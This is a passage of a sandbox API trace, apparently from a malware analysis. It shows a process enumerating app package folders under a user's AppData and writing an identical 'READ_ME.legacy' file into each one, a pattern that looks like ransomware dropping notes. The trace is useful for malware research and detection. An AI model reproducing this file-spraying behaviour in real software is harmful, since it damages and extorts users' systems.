ftCreationTime.dwLowDateTime=0x2b5ac30d, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0x712a64ad, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x712a64ad, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0154.599] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Services.Store.Engagement_8wekyb3d8bbwe\\Settings\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.services.store.engagement_8wekyb3d8bbwe\\settings\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8d0 [0154.619] WriteFile (in: hFile=0x8d0, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.620] CloseHandle (hObject=0x8d0) returned 1 [0154.620] FindNextFileW (in: hFindFile=0x61e9c8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2b585e2b, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0xce9b4220, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2b585e2b, ftLastWriteTime.dwHighDateTime=0x1d32719, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0154.620] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Services.Store.Engagement_8wekyb3d8bbwe\\TempState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.services.store.engagement_8wekyb3d8bbwe\\tempstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8d0 [0154.620] WriteFile (in: hFile=0x8d0, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.621] CloseHandle (hObject=0x8d0) returned 1 [0154.621] FindNextFileW (in: hFindFile=0x61e9c8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2b585e2b, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0xce9b4220, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2b585e2b, ftLastWriteTime.dwHighDateTime=0x1d32719, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0154.622] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.SkypeApp_kzf8qxf38zg5c\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3186030, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x88e698d0, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xe3a58e81, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x61e788 [0154.622] FindNextFileW (in: hFindFile=0x61e788, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3186030, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x88e698d0, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xe3a58e81, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0154.622] FindNextFileW (in: hFindFile=0x61e788, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf326ae34, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x35cd3598, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x35cd3598, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AC", cAlternateFileName="")) returned 1 [0154.622] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.SkypeApp_kzf8qxf38zg5c\\AC\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.skypeapp_kzf8qxf38zg5c\\ac\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8d4 [0154.636] WriteFile (in: hFile=0x8d4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.637] CloseHandle (hObject=0x8d4) returned 1 [0154.637] FindNextFileW (in: hFindFile=0x61e788, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3244cb5, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcea88474, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xf3244cb5, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0154.637] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.SkypeApp_kzf8qxf38zg5c\\AppData\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.skypeapp_kzf8qxf38zg5c\\appdata\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8d4 [0154.638] WriteFile (in: hFile=0x8d4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.639] CloseHandle (hObject=0x8d4) returned 1 [0154.639] FindNextFileW (in: hFindFile=0x61e788, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf31ac27f, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcea88d7b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xf31ac27f, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0154.639] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.SkypeApp_kzf8qxf38zg5c\\LocalCache\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.skypeapp_kzf8qxf38zg5c\\localcache\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8d4 [0154.639] WriteFile (in: hFile=0x8d4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.640] CloseHandle (hObject=0x8d4) returned 1 [0154.640] FindNextFileW (in: hFindFile=0x61e788, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3186030, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd493a5d4, ftLastAccessTime.dwHighDateTime=0x1d32748, ftLastWriteTime.dwLowDateTime=0xd493a5d4, ftLastWriteTime.dwHighDateTime=0x1d32748, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0154.640] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.SkypeApp_kzf8qxf38zg5c\\LocalState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.skypeapp_kzf8qxf38zg5c\\localstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8d4 [0154.642] WriteFile (in: hFile=0x8d4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.643] CloseHandle (hObject=0x8d4) returned 1 [0154.643] FindNextFileW (in: hFindFile=0x61e788, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3a58e81, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xe3a58e81, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xe3a58e81, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0154.643] FindNextFileW (in: hFindFile=0x61e788, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3186030, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xceb05476, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xf3186030, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0154.643] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.SkypeApp_kzf8qxf38zg5c\\RoamingState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.skypeapp_kzf8qxf38zg5c\\roamingstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8d4 [0154.644] WriteFile (in: hFile=0x8d4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.645] CloseHandle (hObject=0x8d4) returned 1 [0154.645] FindNextFileW (in: hFindFile=0x61e788, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf31ac27f, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x712a64ad, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x712a64ad, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0154.645] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.SkypeApp_kzf8qxf38zg5c\\Settings\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.skypeapp_kzf8qxf38zg5c\\settings\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8d4 [0154.647] WriteFile (in: hFile=0x8d4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.648] CloseHandle (hObject=0x8d4) returned 1 [0154.648] FindNextFileW (in: hFindFile=0x61e788, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x88a3d6df, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x88a3d6df, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x88a3d6df, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0154.648] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.SkypeApp_kzf8qxf38zg5c\\SystemAppData\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.skypeapp_kzf8qxf38zg5c\\systemappdata\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8d4 [0154.649] WriteFile (in: hFile=0x8d4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.650] CloseHandle (hObject=0x8d4) returned 1 [0154.650] FindNextFileW (in: hFindFile=0x61e788, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3186030, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xceb6027e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xf3186030, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0154.650] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.SkypeApp_kzf8qxf38zg5c\\TempState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.skypeapp_kzf8qxf38zg5c\\tempstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8d4 [0154.650] WriteFile (in: hFile=0x8d4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.651] CloseHandle (hObject=0x8d4) returned 1 [0154.652] FindNextFileW (in: hFindFile=0x61e788, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3186030, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xceb6027e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xf3186030, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0154.652] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.StorePurchaseApp_8wekyb3d8bbwe\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd30f451d, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd3166c27, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xe3aa52bc, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x61ea08 [0154.652] FindNextFileW (in: hFindFile=0x61ea08, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd30f451d, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd3166c27, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xe3aa52bc, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0154.652] FindNextFileW (in: hFindFile=0x61ea08, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd3166c27, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd3166c27, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd3166c27, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AC", cAlternateFileName="")) returned 1 [0154.652] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.StorePurchaseApp_8wekyb3d8bbwe\\AC\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.storepurchaseapp_8wekyb3d8bbwe\\ac\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8d8 [0154.662] WriteFile (in: hFile=0x8d8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.663] CloseHandle (hObject=0x8d8) returned 1 [0154.663] FindNextFileW (in: hFindFile=0x61ea08, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd311a782, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd311a782, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd311a782, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0154.663] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.StorePurchaseApp_8wekyb3d8bbwe\\AppData\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.storepurchaseapp_8wekyb3d8bbwe\\appdata\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8d8 [0154.664] WriteFile (in: hFile=0x8d8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.666] CloseHandle (hObject=0x8d8) returned 1 [0154.666] FindNextFileW (in: hFindFile=0x61ea08, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd311a782, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd311a782, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd311a782, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0154.666] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.StorePurchaseApp_8wekyb3d8bbwe\\LocalCache\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.storepurchaseapp_8wekyb3d8bbwe\\localcache\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8d8 [0154.667] WriteFile (in: hFile=0x8d8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.668] CloseHandle (hObject=0x8d8) returned 1 [0154.668] FindNextFileW (in: hFindFile=0x61ea08, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd30f451d, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xcecefd70, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd30f451d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0154.668] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.StorePurchaseApp_8wekyb3d8bbwe\\LocalState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.storepurchaseapp_8wekyb3d8bbwe\\localstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8d8 [0154.669] WriteFile (in: hFile=0x8d8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.670] CloseHandle (hObject=0x8d8) returned 1 [0154.670] FindNextFileW (in: hFindFile=0x61ea08, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3aa52bc, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xe3aa52bc, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xe3aa52bc, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0154.670] FindNextFileW (in: hFindFile=0x61ea08, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd311a782, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd311a782, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd311a782, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0154.670] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.StorePurchaseApp_8wekyb3d8bbwe\\RoamingState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.storepurchaseapp_8wekyb3d8bbwe\\roamingstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8d8 [0154.670] WriteFile (in: hFile=0x8d8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.671] CloseHandle (hObject=0x8d8) returned 1 [0154.671] FindNextFileW (in: hFindFile=0x61ea08, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd311a782, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd311a782, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd311a782, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0154.671] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.StorePurchaseApp_8wekyb3d8bbwe\\Settings\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.storepurchaseapp_8wekyb3d8bbwe\\settings\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8d8 [0154.671] WriteFile (in: hFile=0x8d8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.672] CloseHandle (hObject=0x8d8) returned 1 [0154.672] FindNextFileW (in: hFindFile=0x61ea08, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd311a782, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd311a782, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd311a782, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, 